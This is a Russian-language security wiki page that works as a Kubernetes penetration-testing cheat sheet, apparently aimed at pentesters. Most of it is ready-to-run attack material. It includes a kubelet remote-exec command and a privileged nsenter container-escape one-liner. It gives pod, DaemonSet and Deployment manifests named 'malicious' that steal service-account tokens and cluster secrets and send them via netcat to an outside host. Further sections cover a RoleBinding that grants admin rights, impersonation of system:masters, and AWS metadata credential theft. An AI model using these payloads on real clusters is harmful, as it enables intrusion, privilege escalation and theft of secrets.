Kubernetes

Материал из InformationSecurity WIKI
Версия от 21:45, 13 марта 2022; Drakylar (обсуждение | вклад) (→‎Role-Based Access Control)

Перейти к: навигация, поиск


Статья посвящена тестированию на проникновение Kubernetes.


Предварительно статья разделена на сервисы и как их можно найти, эксплуатировать и может быть закрепиться.

Содержание

Общее

Запросы к API (шпаргалка)

https://kubernetes.io/ru/docs/reference/kubectl/cheatsheet/

Настройка утилит

kubectl

Для общения с API можно воспользоваться стандартным ПО kubectl.

Пример запроса: 

kubectl get secrets


Запросы можно делать inline с токеном: 

kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify=true

curl

Для curl кроме стандартных параметров (токен, неймспейс) потребуется адрес API-сервера. 

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
# Лишняя строка, но можно использовать с curl --cacert ${CACERT}
# export CACERT=${SERVICEACCOUNT}/ca.crt

curl -k --header "Authorization: Bearer ${TOKEN}" https://${APISERVER}/path

Текущая конфигурация

Конфиг

Общая информация 

kubectl config view


Пользователи

Список пользователей 

kubectl config get-users
kubectl config view -o jsonpath='{.users[*].name}'

Удалить пользователя 

kubectl config unset users.foo

Контексты

Список контекстов 

kubectl config get-contexts


Текущий контекст 

kubectl config current-context

Установить контекст 

kubectl config use-context my-cluster-name

Namespace

Установить namespace по-умолчанию 

kubectl config set-context --current --namespace=ggckad-s2

DNS

DNS при тестировании kubernetes больше может потребоваться для разведки.

Например, основные субдомены kubernetes выглядят как: 

k8s.*

Для разведки DNS стоит обратиться к соответствующей статье тк задача не будет привязана к Kubernetes.

Pod

Локальные файлы

ca.crt - сертификат для проверки коммуникаций (можно отключить в curl функцией -k)

namespace - текущее рабочее пространство

token - сервисный токен Pod'а

Где их обычно можно найти: 

/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccount

Переменные окружения

Команда для получения адреса API-сервера (обычно переменная KUBECONFIG): 

(env | set) | grep -i "kuber|kube"

Etcd

Etcd - key-value база данных. Является одним из самых критичных ресурсов в котором хранятся например токены.


Порты: 2379/tcp, 6666/tcp

Анонимный доступ

У etcd может быть включен анонимный доступ, лучше проверить используя различные утилиты

etcdctl

etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only

curl

curl http://<MASTER-IP>:2379/v2/keys

API-server

Веб-сервер, предоставляющий API для управления kubernetes.


Порты: 443/tcp. 6443/tcp, 8080/tcp, 8443/tcp

По следующим URL можно определить, является ли веб-сервер Kubernetes API: 

/swaggerapi
/healthz
/api/v1

Список плагинов

Как правило, доступ к API не анонимный. Но, в любом случае, попробуйте перейти сайт API мастера и если у вас есть права, то вы можете увидеть список Endpoint'ов.

Среди них могут оказаться плагины. В случае обнаружения плагинов перейдите на соответствующую главу данной вики-заметки.

Kubelet API

Агент, работающий на каждом узле в кластере. Следит за контейнерами на Pod'е.


Порты: 10250/tcp(https API - полный доступ к ноде), 10255/tcp(http-api read-only, без аутентификации)

Сбор информации

Информация о Pod'ах и их контейнерах: 

http://<external-IP>:10255/pods

Эксплуатация

Отсутствие авторизации 10250/tcp

Если на сервере отсутствует авторизация, то можно проэксплуатировать RCE.


Чтобы проверить: 

curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods


Если не вернуло "Unauthorized" - можно запустить код (подставить namespace, pod, container): 

curl -Gks https://worker:10250/exec/{namespace}/{pod}/{container} -d 'input=1' -d 'output=1' -d 'tty=1' -d 'command=ls' -d 'command=/

Также можно воспользоваться скриптом https://github.com/serain/kubelet-anon-rce

Kube-proxy

Сетевая прокся, работающая на каждом узле в кластере. Конфигурирует правила сети на узлах.


Порты: 10256/tcp(healthcheck).


Role-Based Access Control

Система по управлению ролями. Если проще - просто система контроля доступа, которая говорит куда у нас есть доступ и что это за доступ (get, list, update, delete).


Как правило, неправильная настройка доступа может привести к проблемам безопасности.

Список привилегий

Для получения списка доступных ресурсов у сервисного аккаунта, требуется выполнить следующую команду: 

# Весь список привилегий
kubectl get rolebindings,clusterrolebindings --all-namespaces -o custom-columns='KIND:kind,NAMESPACE:metadata.namespace,NAME:metadata.name,SERVICE_ACCOUNTS:subjects[?(@.kind=="ServiceAccount")].name' | grep service_account_name
curl -s $APISERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings?limit=500 --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
# удачи парсить:)

Там же можно посмотреть информацию о роли RBAC. Или сделать отдельные запросы: 

kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml

Другие команды для получения информации о текущей роли: 


# Текущие привилегии
kubectl auth can-i --list
## use `--as=system:serviceaccount:<namespace>:<sa_name>` to impersonate a service account

# Список ролей кластера
kubectl get clusterroles
kubectl describe clusterroles

# Список Cluster Roles Bindings
kubectl get clusterrolebindings
kubectl describe clusterrolebindings

# Список ролей
kubectl get roles
kubectl describe roles

# Список Role Buildings
kubectl get rolebindings
kubectl describe rolebindings


Далее проблемы будут разделены на ресурсы, к которым был предоставлен доступ

Привилегии - services

Services нужны для предоставления служб через определенный порт и ip (по-факту load-balancer).

Доступ list

Получить список сервисов. Полезно тем, что позволяет получить новые сервисы, которые могут быть целью дальнейших атак.

kubectl

kubectl get serviceaccounts


Привилегии - serviceaccounts

Позволяет работать с сервисными аккаунтами.

Доступ list

Получить список аккаунтов, которые, например, можно будет использовать при бруте.

kubectl

kubectl get services


curl

curl -s $APISERVER/api/v1/namespaces/default/services/ --header "Authorization: Bearer $TOKEN" -k


Привилегии - Nodes

Node - машина в вашем кластере на котором будут Pod'ы.

Доступ list

Позволяет получить список Nodes, которые в дальнейшем могут быть целью атаки.

kubectl

kubectl get nodes

curl

curl -s $APISERVER/api/v1/nodes/ --header "Authorization: Bearer $TOKEN" -k


Привилегии - secrets

Относится к etcd - хранилище секретов.

Доступ list

Позволяет получить список всех секретов в namespace.

kubectl

kubectl get secrets


curl

curl -s $APISERVER/api/v1/secrets/ --header "Authorization: Bearer $TOKEN" -k

curl -s $APISERVER/api/v1/namespaces/kube-system/secrets/ --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt

Доступ get

Позволяет прочитать секрет.

Проблема в том, что при этом не всегда у нас будет доступ list на получение списка секретов, но тк идентификатор секрета - это 5 символов из A..Z, поэтому его возможно перебрать.

Пример названия секрета пользователя drakylar-admin: 

drakylalr-admin-token-sgjbp

где sgjbp - случайная строка.


kubectl

Получить секрет по имени 

kubectl get secrets secret_name -o yaml

curl

curl -s $APISERVER/api/v1/namespaces/default/secrets/drakylar-admin-token-sgjbp --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt

Привилегии - pods

Доступ list

Получить список Pod'ов. Полезно для дальнейшего продвижения по сети компании.

kubectl

kubectl get pods

curl

curl -v -s $APISERVER/api/v1/namespaces/<namespace>/pods/ --header "Authorization: Bearer $TOKEN" -k


Доступ create

Позволяет создавать новые Pod'ы.

Три варианта эксплуатации:

1. Кража токена сервисного аккаунта: в случае, если у созданного пода будет прикреплен сервисный аккаунт с другими привилегиями, то мы можем забрать токен из него и работать от имени сервисного аккаунта.

2. Доступ на хостовую систему, на которой запущен конейнер (побег из конейнера см. docker_escape)

3. Запуск майнера


kubectl

Для этого требуется создать yaml-файл со следующим содержимым: 

apiVersion: v1
kind: Pod
metadata:
  name: alpine
  namespace: kube-system
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
    volumeMounts:
    - mountPath: /host
      name: host-volume
  restartPolicy: Never
  hostIPC: true
  hostNetwork: true
  hostPID: true
  serviceAccountName: bootstrap-signer
  automountServiceAccountToken: true
  volumes:
  - name: host-volume
    hostPath:
      path: /

И выполнить его командой: 

kubectl apply -f malicious-pod.yaml

Что делает созданный Pod:

1. подключится к 192.168.154.228:6666 и выведет информацию о сервисном аккаунте который будет закреплен за данным контейнером (кража токена, который можно использовать на другом PC)

2. hostPID - работа с хостовыми PID (см. главу Docker_escape)

3. hostIPC - работа с хостовыми IPC (см. главу Docker_escape)

4. hostNetwork - работа с хостовыми сетями (см. главу Docker_escape)

5. volumeMounts - хостовая файловая система, доступная по /host (см. главу Docker_escape)

Если вам не нужна кража токена, то однострочник для запуска: 

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

curl

Для запросов через curl, требуется создать json-файл. 

{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {
        "name": "alpine"
    },
    "spec": {
        "restartPolicy": true,
        "hostIPC": true,
        "hostNetwork": true,
        "hostPID": true,
        "volumes": [
            {
                "name": "host-volume",
                "hostPath": {
                    "path": "/"
                }
            }
        ],
        "containers": [
            {
                "name": "alpine",
                "image": "alpine",
                "commands": ["/bin/sh"],
                "args": ["-c", "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"],
                "serviceAccountName" : "bootstrap-signer",
                "automountServiceAccountToken": true,
                "hostNetwork": true,
                "imagePullPolicy": "IfNotPresent",
                "securityContext": {
                    "allowPrivilegeEscalation": true,
                    "privileged": true,
                    "runAsUser": 0
                },
                "volumesMount": [
                    {
                        "mountPath": "/host",
                        "name": "host-volume"
                    }
                ]                  
            }
        ]
    }
}

И выполнить запрос: 

curl -v -s $APISERVER/api/v1/namespaces/default/pods -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json

Но! Если вам вдруг требуется еще и сканировать, то лучше использовать созданный контейнер для этого. Например, вписав в конфиг команду на реверс-шелл.


Доступ exec

Если у вас есть привилегия exec на один или несколько Pod'ов, то вы можете зайти в них и выполнять произвольные команды.

kubectl

kubectl exec --stdin --tty shell-demo -n pod_namespace -- /bin/bash

Привилегии - DaemonSet

DaemonSet - создание копии Pod'а.

Доступ - list

Позволяет получить список DaemonSets, которые в дальнейшем могут быть выбраны целью для атаки.


kubectl

kubectl get daemonsets

curl

curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/daemonsets?fieldManager=kubectl-client-side-apply --header "Authorization: Bearer $TOKEN" -k 
curl -v -s $APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets --header "Authorization: Bearer $TOKEN" -k


Доступ - create

Аналогично "Pods - create", мы можем создать DaemonSet, у которого при старте будет выполняться наша команда.

В примере выполняется команда по краже токена, который отправляется на 192.168.154.228:6666.

При желании, конфиг можно отредактировать, добавив:

1. Backconnect - заменить команду netcat на нужную и оказаться внутри контейнера.

2. Docker escape - разные привилегии позволяющие сбежать из контейнера на хостовую систему


Все это можно найти в главе выше "Pods - create".


kubectl

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      serviceAccountName: bootstrap-signer
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ["/bin/sh"]
        args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']


kubectl apply -f malicious-pod.yaml

curl

{
  "apiVersion": "apps/v1",
  "kind": "DaemonSet",
  "metadata": {
    "name": "alpine",
    "namespace": "kube-system"
  },
  "spec": {
    "selector": {
      "matchLabels": {
        "name": "alpine"
      }
    },
    "template": {
      "metadata": {
        "labels": {
          "name": "alpine"
        }
      },
      "spec": {
        "serviceAccountName": "bootstrap-signer",
        "automountServiceAccountToken": true,
        "hostNetwork": true,
        "containers": [
          {
            "name": "alpine",
            "image": "alpine",
            "command": [
              "/bin/sh"
            ],
            "args": [
              "-c",
              "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"
            ]
          }
        ]
      }
    }
  }
}


curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/daemonsets?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json


Привилегии - Deployment

Deployment - представление работающего приложения в кластере (например, количество его репликаций).


Доступ - list

Получить список всех deployments

kubectl

kubectl get pods
kubectl get pods -n custnamespace


curl

curl -v -s $APISERVER/api/v1/namespaces/<namespace>/pods/ --header "Authorization: Bearer $TOKEN" -k


Доступ - create

Аналогично "Pods - create", мы можем создать Deployment, у которого при старте будет выполняться наша команда.

В примере выполняется команда по краже токена, который отправляется на 192.168.154.228:6666.

При желании, конфиг можно отредактировать, добавив:

1. Backconnect - заменить команду netcat на нужную и оказаться внутри контейнера.

2. Docker escape - разные привилегии позволяющие сбежать из контейнера на хостовую систему


Все это можно найти в главе выше "Pods - create".


kubectl

apiVersion: apps/v1
kind: Deployment
metadata:
  name: alpine
  namespace: kube-system
spec:
  replicas: 1
  selector:
    matchLabels:
      app: alpine
  template:
    metadata:
      labels:
        app: alpine
    spec:
      serviceAccountName: bootstrap-signer
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ["/bin/sh"]
        args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']


kubectl apply -f malicious-deployment.yaml

curl

{
  "apiVersion": "apps/v1",
  "kind": "Deployment",
  "metadata": {
    "name": "alpine",
    "namespace": "kube-system"
  },
  "spec": {
    "replicas": 1,
    "selector": {
      "matchLabels": {
        "app": "alpine"
      }
    },
    "template": {
      "metadata": {
        "labels": {
          "app": "alpine"
        }
      },
      "spec": {
        "serviceAccountName": "bootstrap-signer",
        "automountServiceAccountToken": true,
        "hostNetwork": true,
        "containers": [
          {
            "name": "alpine",
            "image": "alpine",
            "command": [
              "/bin/sh"
            ],
            "args": [
              "-c",
              "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"
            ]
          }
        ]
      }
    }
  }
}


curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/deployments?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json

Привилегии - Statefulsets

Statefulsets - представление работающего приложения в кластере (например, количество его репликаций), схоже с Deployment.


Доступ - create

Аналогично "Pods - create", мы можем создать Statefulsets, у которого при старте будет выполняться наша команда.

TODO


Привилегии - Replicationcontrollers

Replicationcontrollers - организация репликаций приложений.


Доступ - create

Аналогично "Pods - create", мы можем создать Replicationcontrollers, у которого при старте будет выполняться наша команда.

TODO


Привилегии - Replicasets

Replicasets - организация репликаций приложений, схоже с Replicationcontrollers.


Доступ - create

Аналогично "Pods - create", мы можем создать Replicasets, у которого при старте будет выполняться наша команда.

TODO


Привилегии - Jobs

Jobs - запускает один или несколько Pod'ов и будет пытаться повторить их запуск пока определенное количество Pod'ов не завершится успешно.


Доступ - create

Аналогично "Pods - create", мы можем создать Jobs, у которого при старте будет выполняться наша команда.

TODO


Привилегии - Cronjobs

Cronjobs - запускает Jobs по расписанию.

Доступ - list

Позволяет получить список CronJobs, которые в дальнейшем могут быть выбраны целью для атаки.


kubectl

kubectl get cronjobs

curl

curl -v -s $APISERVER/apis/batch/v1/namespaces/default/cronjobs --header "Authorization: Bearer $TOKEN" -k 
curl -v -s $APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs --header "Authorization: Bearer $TOKEN" -k


Доступ - create

Аналогично "Pods - create", мы можем создать Cronjobs, у которого при старте будет выполняться наша команда.

TODO


Привилегии - RoleBinding

RoleBinding - связывает пользователей и роли.

Доступ - create

Мы можем прикрепить к нашему пользователю роль администратора и получить контроль над kuberntetes.

kubectl

Создаем YAML-файл (указать kind, name и namespace аккаунта - в примере sa-comp): 

apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: malicious-rolebinding
  namespaces: default
roleRef:
  apiGroup: '*'
  kind: ClusterRole
  name: admin
subjects:
  - kind: ServiceAccount
    name: sa-comp
    namespace: default

Выполняем файл: 

kubectl apply -f malicious-rolebinding.yaml

curl

Создаем JSON-файл (указать kind, name и namespace аккаунта - в примере sa-comp): 

{
    "apiVersion": "rbac.authorization.k8s.io/v1",
    "kind": "RoleBinding",
    "metadata": {
        "name": "malicious-rolebinding",
        "namespaces": "default"
    },
    "roleRef": {
        "apiGroup": "*",
        "kind": "ClusterRole",
        "name": "admin"
    },
    "subjects": [
        {
            "kind": "ServiceAccount",
            "name": "sa-comp",
            "namespace": "default"
        }
    ]
}


Выполняем запрос 

curl -v -s $APISERVER/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -H "Content-Type: application/json" -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json


Привилегии - Impersonate

Impersonate - позволяет делать запросы от имени другого аккаунта.

kubectl

kubectl get secrets --as=superman --as-group=system:masters


curl

curl -v -s $APISERVER/api/v1/namespaces/kube-system/secrets/ --header "Authorization: Bearer $TOKEN" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -k

Примеры заголовков, которые могут потребоваться: 

Impersonate-User: jane.doe@example.com
Impersonate-Group: developers
Impersonate-Group: admins
Impersonate-User: jane.doe@example.com
Impersonate-Extra-dn: cn=jane,ou=engineers,dc=example,dc=com
Impersonate-Extra-acme.com%2Fproject: some-project
Impersonate-Extra-scopes: view
Impersonate-Extra-scopes: development
Impersonate-Uid: 06f6ce97-e2c5-4ab8-7ba5-7654dd08d52b

Стороннее ПО

cAdvisor

Собирает статистику по контейнерам.

Репозиторий: https://github.com/google/cadvisor

Порты: 4194/tcp.


Calico

Дополнение Kubernetes, которое позволяет более гибко настраивать и управлять сетевыми политиками в Kubernetes.


Порты: 9099/tcp(calico-felix -демон запущенных на всех машинах обслуживающихся Calico).


Calico - Typha

Компонент Calico для расширения Kubernetes deployment.


Порты: 5473/tcp.


Weave Score

Инструмент для мониторинга кластеров Docker и Kubernetes.


Порты: 6782/tcp, 6783/tcp, 6784/tcp (метрики и api-endpoints), 4040/tcp (WEB-UI).


Helm

Пакетный менеджер для Kubernetes. Используется для управления чартами (чарт - набор данных для создания приложения в кластере).


Порты: 44134/tcp (tiller).


Облака

В случае, если kubernetes запущен в облаке, то это позволяет нам получить доп. информацию.


Тут будет кратко, подробно про облака смотрите в соответствующих вики-заметках

Amazon AWS

В случае с AWS кратко: можно получить API-токен из контейнера путем запроса по следующему адресу: 

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

А дальше с этим токеном уже идти на страницу AWS и смотреть как дальше пентестить.

Ссылки

Источник — «http://itsecwiki.org/index.php?title=Kubernetes&oldid=994»